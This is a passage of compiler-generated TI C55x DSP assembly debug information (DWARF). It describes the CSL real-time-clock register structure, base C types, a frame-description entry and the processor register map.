.dwattr $C$DW$200, DW_AT_TI_symbol_name("_RSVD3")
.dwattr $C$DW$200, DW_AT_data_member_location[DW_OP_plus_uconst 0xe]
.dwattr $C$DW$200, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$201 .dwtag DW_TAG_member
.dwattr $C$DW$201, DW_AT_type(*$C$DW$T$30)
.dwattr $C$DW$201, DW_AT_name("RTCHOUR")
.dwattr $C$DW$201, DW_AT_TI_symbol_name("_RTCHOUR")
.dwattr $C$DW$201, DW_AT_data_member_location[DW_OP_plus_uconst 0x10]
.dwattr $C$DW$201, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$202 .dwtag DW_TAG_member
.dwattr $C$DW$202, DW_AT_type(*$C$DW$T$30)
.dwattr $C$DW$202, DW_AT_name("RTCHOURA")
.dwattr $C$DW$202, DW_AT_TI_symbol_name("_RTCHOURA")
.dwattr $C$DW$202, DW_AT_data_member_location[DW_OP_plus_uconst 0x11]
.dwattr $C$DW$202, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$203 .dwtag DW_TAG_member
.dwattr $C$DW$203, DW_AT_type(*$C$DW$T$31)
.dwattr $C$DW$203, DW_AT_name("RSVD4")
.dwattr $C$DW$203, DW_AT_TI_symbol_name("_RSVD4")
.dwattr $C$DW$203, DW_AT_data_member_location[DW_OP_plus_uconst 0x12]
.dwattr $C$DW$203, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$204 .dwtag DW_TAG_member
.dwattr $C$DW$204, DW_AT_type(*$C$DW$T$30)
.dwattr $C$DW$204, DW_AT_name("RTCDAY")
.dwattr $C$DW$204, DW_AT_TI_symbol_name("_RTCDAY")
.dwattr $C$DW$204, DW_AT_data_member_location[DW_OP_plus_uconst 0x14]
.dwattr $C$DW$204, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$205 .dwtag DW_TAG_member
.dwattr $C$DW$205, DW_AT_type(*$C$DW$T$30)
.dwattr $C$DW$205, DW_AT_name("RTCDAYA")
.dwattr $C$DW$205, DW_AT_TI_symbol_name("_RTCDAYA")
.dwattr $C$DW$205, DW_AT_data_member_location[DW_OP_plus_uconst 0x15]
.dwattr $C$DW$205, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$206 .dwtag DW_TAG_member
.dwattr $C$DW$206, DW_AT_type(*$C$DW$T$31)
.dwattr $C$DW$206, DW_AT_name("RSVD5")
.dwattr $C$DW$206, DW_AT_TI_symbol_name("_RSVD5")
.dwattr $C$DW$206, DW_AT_data_member_location[DW_OP_plus_uconst 0x16]
.dwattr $C$DW$206, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$207 .dwtag DW_TAG_member
.dwattr $C$DW$207, DW_AT_type(*$C$DW$T$30)
.dwattr $C$DW$207, DW_AT_name("RTCMONTH")
.dwattr $C$DW$207, DW_AT_TI_symbol_name("_RTCMONTH")
.dwattr $C$DW$207, DW_AT_data_member_location[DW_OP_plus_uconst 0x18]
.dwattr $C$DW$207, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$208 .dwtag DW_TAG_member
.dwattr $C$DW$208, DW_AT_type(*$C$DW$T$30)
.dwattr $C$DW$208, DW_AT_name("RTCMONTHA")
.dwattr $C$DW$208, DW_AT_TI_symbol_name("_RTCMONTHA")
.dwattr $C$DW$208, DW_AT_data_member_location[DW_OP_plus_uconst 0x19]
.dwattr $C$DW$208, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$209 .dwtag DW_TAG_member
.dwattr $C$DW$209, DW_AT_type(*$C$DW$T$31)
.dwattr $C$DW$209, DW_AT_name("RSVD6")
.dwattr $C$DW$209, DW_AT_TI_symbol_name("_RSVD6")
.dwattr $C$DW$209, DW_AT_data_member_location[DW_OP_plus_uconst 0x1a]
.dwattr $C$DW$209, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$210 .dwtag DW_TAG_member
.dwattr $C$DW$210, DW_AT_type(*$C$DW$T$30)
.dwattr $C$DW$210, DW_AT_name("RTCYEAR")
.dwattr $C$DW$210, DW_AT_TI_symbol_name("_RTCYEAR")
.dwattr $C$DW$210, DW_AT_data_member_location[DW_OP_plus_uconst 0x1c]
.dwattr $C$DW$210, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$211 .dwtag DW_TAG_member
.dwattr $C$DW$211, DW_AT_type(*$C$DW$T$30)
.dwattr $C$DW$211, DW_AT_name("RTCYEARA")
.dwattr $C$DW$211, DW_AT_TI_symbol_name("_RTCYEARA")
.dwattr $C$DW$211, DW_AT_data_member_location[DW_OP_plus_uconst 0x1d]
.dwattr $C$DW$211, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$212 .dwtag DW_TAG_member
.dwattr $C$DW$212, DW_AT_type(*$C$DW$T$31)
.dwattr $C$DW$212, DW_AT_name("RSVD7")
.dwattr $C$DW$212, DW_AT_TI_symbol_name("_RSVD7")
.dwattr $C$DW$212, DW_AT_data_member_location[DW_OP_plus_uconst 0x1e]
.dwattr $C$DW$212, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$213 .dwtag DW_TAG_member
.dwattr $C$DW$213, DW_AT_type(*$C$DW$T$30)
.dwattr $C$DW$213, DW_AT_name("RTCINTFL")
.dwattr $C$DW$213, DW_AT_TI_symbol_name("_RTCINTFL")
.dwattr $C$DW$213, DW_AT_data_member_location[DW_OP_plus_uconst 0x20]
.dwattr $C$DW$213, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$214 .dwtag DW_TAG_member
.dwattr $C$DW$214, DW_AT_type(*$C$DW$T$30)
.dwattr $C$DW$214, DW_AT_name("RTCNOPWR")
.dwattr $C$DW$214, DW_AT_TI_symbol_name("_RTCNOPWR")
.dwattr $C$DW$214, DW_AT_data_member_location[DW_OP_plus_uconst 0x21]
.dwattr $C$DW$214, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$215 .dwtag DW_TAG_member
.dwattr $C$DW$215, DW_AT_type(*$C$DW$T$31)
.dwattr $C$DW$215, DW_AT_name("RSVD8")
.dwattr $C$DW$215, DW_AT_TI_symbol_name("_RSVD8")
.dwattr $C$DW$215, DW_AT_data_member_location[DW_OP_plus_uconst 0x22]
.dwattr $C$DW$215, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$216 .dwtag DW_TAG_member
.dwattr $C$DW$216, DW_AT_type(*$C$DW$T$30)
.dwattr $C$DW$216, DW_AT_name("RTCINTREG")
.dwattr $C$DW$216, DW_AT_TI_symbol_name("_RTCINTREG")
.dwattr $C$DW$216, DW_AT_data_member_location[DW_OP_plus_uconst 0x24]
.dwattr $C$DW$216, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$217 .dwtag DW_TAG_member
.dwattr $C$DW$217, DW_AT_type(*$C$DW$T$32)
.dwattr $C$DW$217, DW_AT_name("RSVD9")
.dwattr $C$DW$217, DW_AT_TI_symbol_name("_RSVD9")
.dwattr $C$DW$217, DW_AT_data_member_location[DW_OP_plus_uconst 0x25]
.dwattr $C$DW$217, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$218 .dwtag DW_TAG_member
.dwattr $C$DW$218, DW_AT_type(*$C$DW$T$30)
.dwattr $C$DW$218, DW_AT_name("RTCDRIFT")
.dwattr $C$DW$218, DW_AT_TI_symbol_name("_RTCDRIFT")
.dwattr $C$DW$218, DW_AT_data_member_location[DW_OP_plus_uconst 0x28]
.dwattr $C$DW$218, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$219 .dwtag DW_TAG_member
.dwattr $C$DW$219, DW_AT_type(*$C$DW$T$32)
.dwattr $C$DW$219, DW_AT_name("RSVD10")
.dwattr $C$DW$219, DW_AT_TI_symbol_name("_RSVD10")
.dwattr $C$DW$219, DW_AT_data_member_location[DW_OP_plus_uconst 0x29]
.dwattr $C$DW$219, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$220 .dwtag DW_TAG_member
.dwattr $C$DW$220, DW_AT_type(*$C$DW$T$30)
.dwattr $C$DW$220, DW_AT_name("RTCOSC")
.dwattr $C$DW$220, DW_AT_TI_symbol_name("_RTCOSC")
.dwattr $C$DW$220, DW_AT_data_member_location[DW_OP_plus_uconst 0x2c]
.dwattr $C$DW$220, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$221 .dwtag DW_TAG_member
.dwattr $C$DW$221, DW_AT_type(*$C$DW$T$32)
.dwattr $C$DW$221, DW_AT_name("RSVD11")
.dwattr $C$DW$221, DW_AT_TI_symbol_name("_RSVD11")
.dwattr $C$DW$221, DW_AT_data_member_location[DW_OP_plus_uconst 0x2d]
.dwattr $C$DW$221, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$222 .dwtag DW_TAG_member
.dwattr $C$DW$222, DW_AT_type(*$C$DW$T$30)
.dwattr $C$DW$222, DW_AT_name("RTCPMGT")
.dwattr $C$DW$222, DW_AT_TI_symbol_name("_RTCPMGT")
.dwattr $C$DW$222, DW_AT_data_member_location[DW_OP_plus_uconst 0x30]
.dwattr $C$DW$222, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$223 .dwtag DW_TAG_member
.dwattr $C$DW$223, DW_AT_type(*$C$DW$T$33)
.dwattr $C$DW$223, DW_AT_name("RSVD12")
.dwattr $C$DW$223, DW_AT_TI_symbol_name("_RSVD12")
.dwattr $C$DW$223, DW_AT_data_member_location[DW_OP_plus_uconst 0x31]
.dwattr $C$DW$223, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$224 .dwtag DW_TAG_member
.dwattr $C$DW$224, DW_AT_type(*$C$DW$T$30)
.dwattr $C$DW$224, DW_AT_name("RTCSCR1")
.dwattr $C$DW$224, DW_AT_TI_symbol_name("_RTCSCR1")
.dwattr $C$DW$224, DW_AT_data_member_location[DW_OP_plus_uconst 0x60]
.dwattr $C$DW$224, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$225 .dwtag DW_TAG_member
.dwattr $C$DW$225, DW_AT_type(*$C$DW$T$30)
.dwattr $C$DW$225, DW_AT_name("RTCSCR2")
.dwattr $C$DW$225, DW_AT_TI_symbol_name("_RTCSCR2")
.dwattr $C$DW$225, DW_AT_data_member_location[DW_OP_plus_uconst 0x61]
.dwattr $C$DW$225, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$226 .dwtag DW_TAG_member
.dwattr $C$DW$226, DW_AT_type(*$C$DW$T$31)
.dwattr $C$DW$226, DW_AT_name("RSVD13")
.dwattr $C$DW$226, DW_AT_TI_symbol_name("_RSVD13")
.dwattr $C$DW$226, DW_AT_data_member_location[DW_OP_plus_uconst 0x62]
.dwattr $C$DW$226, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$227 .dwtag DW_TAG_member
.dwattr $C$DW$227, DW_AT_type(*$C$DW$T$30)
.dwattr $C$DW$227, DW_AT_name("RTCSCR3")
.dwattr $C$DW$227, DW_AT_TI_symbol_name("_RTCSCR3")
.dwattr $C$DW$227, DW_AT_data_member_location[DW_OP_plus_uconst 0x64]
.dwattr $C$DW$227, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$228 .dwtag DW_TAG_member
.dwattr $C$DW$228, DW_AT_type(*$C$DW$T$30)
.dwattr $C$DW$228, DW_AT_name("RTCSCR4")
.dwattr $C$DW$228, DW_AT_TI_symbol_name("_RTCSCR4")
.dwattr $C$DW$228, DW_AT_data_member_location[DW_OP_plus_uconst 0x65]
.dwattr $C$DW$228, DW_AT_accessibility(DW_ACCESS_public)
.dwendtag $C$DW$T$34
$C$DW$T$53 .dwtag DW_TAG_typedef, DW_AT_name("CSL_RtcRegs")
.dwattr $C$DW$T$53, DW_AT_type(*$C$DW$T$34)
.dwattr $C$DW$T$53, DW_AT_language(DW_LANG_C)
$C$DW$229 .dwtag DW_TAG_TI_far_type
.dwattr $C$DW$229, DW_AT_type(*$C$DW$T$53)
$C$DW$230 .dwtag DW_TAG_TI_ioport_type
.dwattr $C$DW$230, DW_AT_type(*$C$DW$229)
$C$DW$T$54 .dwtag DW_TAG_volatile_type
.dwattr $C$DW$T$54, DW_AT_type(*$C$DW$230)
$C$DW$T$55 .dwtag DW_TAG_pointer_type
.dwattr $C$DW$T$55, DW_AT_type(*$C$DW$T$54)
.dwattr $C$DW$T$55, DW_AT_address_class(0x10)
$C$DW$T$56 .dwtag DW_TAG_typedef, DW_AT_name("CSL_RtcRegsOvly")
.dwattr $C$DW$T$56, DW_AT_type(*$C$DW$T$55)
.dwattr $C$DW$T$56, DW_AT_language(DW_LANG_C)
$C$DW$T$24 .dwtag DW_TAG_subroutine_type
.dwattr $C$DW$T$24, DW_AT_language(DW_LANG_C)
$C$DW$T$25 .dwtag DW_TAG_pointer_type
.dwattr $C$DW$T$25, DW_AT_type(*$C$DW$T$24)
.dwattr $C$DW$T$25, DW_AT_address_class(0x20)
$C$DW$T$26 .dwtag DW_TAG_typedef, DW_AT_name("CSL_RTCCallBackPtr")
.dwattr $C$DW$T$26, DW_AT_type(*$C$DW$T$25)
.dwattr $C$DW$T$26, DW_AT_language(DW_LANG_C)
$C$DW$T$27 .dwtag DW_TAG_array_type
.dwattr $C$DW$T$27, DW_AT_type(*$C$DW$T$26)
.dwattr $C$DW$T$27, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$27, DW_AT_byte_size(0x0e)
$C$DW$231 .dwtag DW_TAG_subrange_type
.dwattr $C$DW$231, DW_AT_upper_bound(0x06)
.dwendtag $C$DW$T$27
$C$DW$T$59 .dwtag DW_TAG_typedef, DW_AT_name("IRQ_IsrPtr")
.dwattr $C$DW$T$59, DW_AT_type(*$C$DW$T$25)
.dwattr $C$DW$T$59, DW_AT_language(DW_LANG_C)
$C$DW$T$4 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$4, DW_AT_encoding(DW_ATE_boolean)
.dwattr $C$DW$T$4, DW_AT_name("bool")
.dwattr $C$DW$T$4, DW_AT_byte_size(0x01)
$C$DW$T$5 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$5, DW_AT_encoding(DW_ATE_signed_char)
.dwattr $C$DW$T$5, DW_AT_name("signed char")
.dwattr $C$DW$T$5, DW_AT_byte_size(0x01)
$C$DW$T$6 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$6, DW_AT_encoding(DW_ATE_unsigned_char)
.dwattr $C$DW$T$6, DW_AT_name("unsigned char")
.dwattr $C$DW$T$6, DW_AT_byte_size(0x01)
$C$DW$T$7 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$7, DW_AT_encoding(DW_ATE_signed_char)
.dwattr $C$DW$T$7, DW_AT_name("wchar_t")
.dwattr $C$DW$T$7, DW_AT_byte_size(0x01)
$C$DW$T$8 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$8, DW_AT_encoding(DW_ATE_signed)
.dwattr $C$DW$T$8, DW_AT_name("short")
.dwattr $C$DW$T$8, DW_AT_byte_size(0x01)
$C$DW$T$61 .dwtag DW_TAG_typedef, DW_AT_name("Int16")
.dwattr $C$DW$T$61, DW_AT_type(*$C$DW$T$8)
.dwattr $C$DW$T$61, DW_AT_language(DW_LANG_C)
$C$DW$T$62 .dwtag DW_TAG_typedef, DW_AT_name("CSL_Status")
.dwattr $C$DW$T$62, DW_AT_type(*$C$DW$T$61)
.dwattr $C$DW$T$62, DW_AT_language(DW_LANG_C)
$C$DW$232 .dwtag DW_TAG_TI_far_type
.dwattr $C$DW$232, DW_AT_type(*$C$DW$T$61)
$C$DW$T$82 .dwtag DW_TAG_volatile_type
.dwattr $C$DW$T$82, DW_AT_type(*$C$DW$232)
$C$DW$T$9 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$9, DW_AT_encoding(DW_ATE_unsigned)
.dwattr $C$DW$T$9, DW_AT_name("unsigned short")
.dwattr $C$DW$T$9, DW_AT_byte_size(0x01)
$C$DW$T$19 .dwtag DW_TAG_typedef, DW_AT_name("Uint16")
.dwattr $C$DW$T$19, DW_AT_type(*$C$DW$T$9)
.dwattr $C$DW$T$19, DW_AT_language(DW_LANG_C)
$C$DW$233 .dwtag DW_TAG_TI_far_type
.dwattr $C$DW$233, DW_AT_type(*$C$DW$T$19)
$C$DW$T$30 .dwtag DW_TAG_volatile_type
.dwattr $C$DW$T$30, DW_AT_type(*$C$DW$233)
$C$DW$T$31 .dwtag DW_TAG_array_type
.dwattr $C$DW$T$31, DW_AT_type(*$C$DW$T$30)
.dwattr $C$DW$T$31, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$31, DW_AT_byte_size(0x02)
$C$DW$234 .dwtag DW_TAG_subrange_type
.dwattr $C$DW$234, DW_AT_upper_bound(0x01)
.dwendtag $C$DW$T$31
$C$DW$T$32 .dwtag DW_TAG_array_type
.dwattr $C$DW$T$32, DW_AT_type(*$C$DW$T$30)
.dwattr $C$DW$T$32, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$32, DW_AT_byte_size(0x03)
$C$DW$235 .dwtag DW_TAG_subrange_type
.dwattr $C$DW$235, DW_AT_upper_bound(0x02)
.dwendtag $C$DW$T$32
$C$DW$T$33 .dwtag DW_TAG_array_type
.dwattr $C$DW$T$33, DW_AT_type(*$C$DW$T$30)
.dwattr $C$DW$T$33, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$33, DW_AT_byte_size(0x2f)
$C$DW$236 .dwtag DW_TAG_subrange_type
.dwattr $C$DW$236, DW_AT_upper_bound(0x2e)
.dwendtag $C$DW$T$33
$C$DW$T$10 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$10, DW_AT_encoding(DW_ATE_signed)
.dwattr $C$DW$T$10, DW_AT_name("int")
.dwattr $C$DW$T$10, DW_AT_byte_size(0x01)
$C$DW$T$84 .dwtag DW_TAG_typedef, DW_AT_name("Bool")
.dwattr $C$DW$T$84, DW_AT_type(*$C$DW$T$10)
.dwattr $C$DW$T$84, DW_AT_language(DW_LANG_C)
$C$DW$T$11 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$11, DW_AT_encoding(DW_ATE_unsigned)
.dwattr $C$DW$T$11, DW_AT_name("unsigned int")
.dwattr $C$DW$T$11, DW_AT_byte_size(0x01)
$C$DW$T$12 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$12, DW_AT_encoding(DW_ATE_signed)
.dwattr $C$DW$T$12, DW_AT_name("long")
.dwattr $C$DW$T$12, DW_AT_byte_size(0x02)
$C$DW$T$13 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$13, DW_AT_encoding(DW_ATE_unsigned)
.dwattr $C$DW$T$13, DW_AT_name("unsigned long")
.dwattr $C$DW$T$13, DW_AT_byte_size(0x02)
$C$DW$T$79 .dwtag DW_TAG_typedef, DW_AT_name("Uint32")
.dwattr $C$DW$T$79, DW_AT_type(*$C$DW$T$13)
.dwattr $C$DW$T$79, DW_AT_language(DW_LANG_C)
$C$DW$237 .dwtag DW_TAG_TI_far_type
.dwattr $C$DW$237, DW_AT_type(*$C$DW$T$79)
$C$DW$T$96 .dwtag DW_TAG_volatile_type
.dwattr $C$DW$T$96, DW_AT_type(*$C$DW$237)
$C$DW$T$14 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$14, DW_AT_encoding(DW_ATE_signed)
.dwattr $C$DW$T$14, DW_AT_name("long long")
.dwattr $C$DW$T$14, DW_AT_byte_size(0x04)
.dwattr $C$DW$T$14, DW_AT_bit_size(0x28)
.dwattr $C$DW$T$14, DW_AT_bit_offset(0x18)
$C$DW$T$15 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$15, DW_AT_encoding(DW_ATE_unsigned)
.dwattr $C$DW$T$15, DW_AT_name("unsigned long long")
.dwattr $C$DW$T$15, DW_AT_byte_size(0x04)
.dwattr $C$DW$T$15, DW_AT_bit_size(0x28)
.dwattr $C$DW$T$15, DW_AT_bit_offset(0x18)
$C$DW$T$16 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$16, DW_AT_encoding(DW_ATE_float)
.dwattr $C$DW$T$16, DW_AT_name("float")
.dwattr $C$DW$T$16, DW_AT_byte_size(0x02)
$C$DW$T$17 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$17, DW_AT_encoding(DW_ATE_float)
.dwattr $C$DW$T$17, DW_AT_name("double")
.dwattr $C$DW$T$17, DW_AT_byte_size(0x02)
$C$DW$T$18 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$18, DW_AT_encoding(DW_ATE_float)
.dwattr $C$DW$T$18, DW_AT_name("long double")
.dwattr $C$DW$T$18, DW_AT_byte_size(0x02)
$C$DW$T$87 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$87, DW_AT_encoding(DW_ATE_signed_char)
.dwattr $C$DW$T$87, DW_AT_name("signed char")
.dwattr $C$DW$T$87, DW_AT_byte_size(0x01)
$C$DW$238 .dwtag DW_TAG_TI_far_type
.dwattr $C$DW$238, DW_AT_type(*$C$DW$T$87)
$C$DW$T$88 .dwtag DW_TAG_const_type
.dwattr $C$DW$T$88, DW_AT_type(*$C$DW$238)
$C$DW$T$89 .dwtag DW_TAG_pointer_type
.dwattr $C$DW$T$89, DW_AT_type(*$C$DW$T$88)
.dwattr $C$DW$T$89, DW_AT_address_class(0x17)
.dwattr $C$DW$CU, DW_AT_language(DW_LANG_C)
;***************************************************************
;* DWARF CIE ENTRIES *
;***************************************************************
$C$DW$CIE .dwcie 91
.dwcfi cfa_register, 36
.dwcfi cfa_offset, 0
.dwcfi undefined, 0
.dwcfi undefined, 1
.dwcfi undefined, 2
.dwcfi undefined, 3
.dwcfi undefined, 4
.dwcfi undefined, 5
.dwcfi undefined, 6
.dwcfi undefined, 7
.dwcfi undefined, 8
.dwcfi undefined, 9
.dwcfi undefined, 10
.dwcfi undefined, 11
.dwcfi undefined, 12
.dwcfi undefined, 13
.dwcfi same_value, 14
.dwcfi same_value, 15
.dwcfi undefined, 16
.dwcfi undefined, 17
.dwcfi undefined, 18
.dwcfi undefined, 19
.dwcfi undefined, 20
.dwcfi undefined, 21
.dwcfi undefined, 22
.dwcfi undefined, 23
.dwcfi undefined, 24
.dwcfi undefined, 25
.dwcfi same_value, 26
.dwcfi same_value, 27
.dwcfi same_value, 28
.dwcfi same_value, 29
.dwcfi same_value, 30
.dwcfi same_value, 31
.dwcfi undefined, 32
.dwcfi undefined, 33
.dwcfi undefined, 34
.dwcfi undefined, 35
.dwcfi undefined, 36
.dwcfi undefined, 37
.dwcfi undefined, 38
.dwcfi undefined, 39
.dwcfi undefined, 40
.dwcfi undefined, 41
.dwcfi undefined, 42
.dwcfi undefined, 43
.dwcfi undefined, 44
.dwcfi undefined, 45
.dwcfi undefined, 46
.dwcfi undefined, 47
.dwcfi undefined, 48
.dwcfi undefined, 49
.dwcfi undefined, 50
.dwcfi undefined, 51
.dwcfi undefined, 52
.dwcfi undefined, 53
.dwcfi undefined, 54
.dwcfi undefined, 55
.dwcfi undefined, 56
.dwcfi undefined, 57
.dwcfi undefined, 58
.dwcfi undefined, 59
.dwcfi undefined, 60
.dwcfi undefined, 61
.dwcfi undefined, 62
.dwcfi undefined, 63
.dwcfi undefined, 64
.dwcfi undefined, 65
.dwcfi undefined, 66
.dwcfi undefined, 67
.dwcfi undefined, 68
.dwcfi undefined, 69
.dwcfi undefined, 70
.dwcfi undefined, 71
.dwcfi undefined, 72
.dwcfi undefined, 73
.dwcfi undefined, 74
.dwcfi undefined, 75
.dwcfi undefined, 76
.dwcfi undefined, 77
.dwcfi undefined, 78
.dwcfi undefined, 79
.dwcfi undefined, 80
.dwcfi undefined, 81
.dwcfi undefined, 82
.dwcfi undefined, 83
.dwcfi undefined, 84
.dwcfi undefined, 85
.dwcfi undefined, 86
.dwcfi undefined, 87
.dwcfi undefined, 88
.dwcfi undefined, 89
.dwcfi undefined, 90
.dwcfi undefined, 91
.dwendentry
;***************************************************************
;* DWARF REGISTER MAP *
;***************************************************************
$C$DW$239 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC0")
.dwattr $C$DW$239, DW_AT_location[DW_OP_reg0]
$C$DW$240 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC0")
.dwattr $C$DW$240, DW_AT_location[DW_OP_reg1]
$C$DW$241 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC0_G")
.dwattr $C$DW$241, DW_AT_location[DW_OP_reg2]
$C$DW$242 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC1")
.dwattr $C$DW$242, DW_AT_location[DW_OP_reg3]
$C$DW$243 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC1")
.dwattr $C$DW$243, DW_AT_location[DW_OP_reg4]
$C$DW$244 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC1_G")
.dwattr $C$DW$244, DW_AT_location[DW_OP_reg5]
$C$DW$245 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC2")
.dwattr $C$DW$245, DW_AT_location[DW_OP_reg6]
$C$DW$246 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC2")
.dwattr $C$DW$246, DW_AT_location[DW_OP_reg7]
$C$DW$247 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC2_G")
.dwattr $C$DW$247, DW_AT_location[DW_OP_reg8]
$C$DW$248 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC3")
.dwattr $C$DW$248, DW_AT_location[DW_OP_reg9]
$C$DW$249 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC3")
.dwattr $C$DW$249, DW_AT_location[DW_OP_reg10]
$C$DW$250 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC3_G")
.dwattr $C$DW$250, DW_AT_location[DW_OP_reg11]
$C$DW$251 .dwtag DW_TAG_TI_assign_register, DW_AT_name("T0")
.dwattr $C$DW$251, DW_AT_location[DW_OP_reg12]
$C$DW$252 .dwtag DW_TAG_TI_assign_register, DW_AT_name("T1")
.dwattr $C$DW$252, DW_AT_location[DW_OP_reg13]
$C$DW$253 .dwtag DW_TAG_TI_assign_register, DW_AT_name("T2")
.dwattr $C$DW$253, DW_AT_location[DW_OP_reg14]
$C$DW$254 .dwtag DW_TAG_TI_assign_register, DW_AT_name("T3")
.dwattr $C$DW$254, DW_AT_location[DW_OP_reg15]
$C$DW$255 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR0")
.dwattr $C$DW$255, DW_AT_location[DW_OP_reg16]
$C$DW$256 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR0")
.dwattr $C$DW$256, DW_AT_location[DW_OP_reg17]
$C$DW$257 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR1")
.dwattr $C$DW$257, DW_AT_location[DW_OP_reg18]
$C$DW$258 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR1")
.dwattr $C$DW$258, DW_AT_location[DW_OP_reg19]
$C$DW$259 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR2")
.dwattr $C$DW$259, DW_AT_location[DW_OP_reg20]
$C$DW$260 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR2")
.dwattr $C$DW$260, DW_AT_location[DW_OP_reg21]
$C$DW$261 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR3")
.dwattr $C$DW$261, DW_AT_location[DW_OP_reg22]
$C$DW$262 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR3")
.dwattr $C$DW$262, DW_AT_location[DW_OP_reg23]
$C$DW$263 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR4")
.dwattr $C$DW$263, DW_AT_location[DW_OP_reg24]
$C$DW$264 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR4")
.dwattr $C$DW$264, DW_AT_location[DW_OP_reg25]
$C$DW$265 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR5")
.dwattr $C$DW$265, DW_AT_location[DW_OP_reg26]
$C$DW$266 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR5")
.dwattr $C$DW$266, DW_AT_location[DW_OP_reg27]
$C$DW$267 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR6")
.dwattr $C$DW$267, DW_AT_location[DW_OP_reg28]
$C$DW$268 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR6")
.dwattr $C$DW$268, DW_AT_location[DW_OP_reg29]
$C$DW$269 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR7")
.dwattr $C$DW$269, DW_AT_location[DW_OP_reg30]
$C$DW$270 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR7")
.dwattr $C$DW$270, DW_AT_location[DW_OP_reg31]
$C$DW$271 .dwtag DW_TAG_TI_assign_register, DW_AT_name("FP")
.dwattr $C$DW$271, DW_AT_location[DW_OP_regx 0x20]
$C$DW$272 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XFP")
.dwattr $C$DW$272, DW_AT_location[DW_OP_regx 0x21]
$C$DW$273 .dwtag DW_TAG_TI_assign_register, DW_AT_name("PC")
.dwattr $C$DW$273, DW_AT_location[DW_OP_regx 0x22]
$C$DW$274 .dwtag DW_TAG_TI_assign_register, DW_AT_name("SP")
.dwattr $C$DW$274, DW_AT_location[DW_OP_regx 0x23]
$C$DW$275 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XSP")
.dwattr $C$DW$275, DW_AT_location[DW_OP_regx 0x24]
$C$DW$276 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BKC")
.dwattr $C$DW$276, DW_AT_location[DW_OP_regx 0x25]
$C$DW$277 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BK03")
.dwattr $C$DW$277, DW_AT_location[DW_OP_regx 0x26]
$C$DW$278 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BK47")
.dwattr $C$DW$278, DW_AT_location[DW_OP_regx 0x27]
$C$DW$279 .dwtag DW_TAG_TI_assign_register, DW_AT_name("ST0")
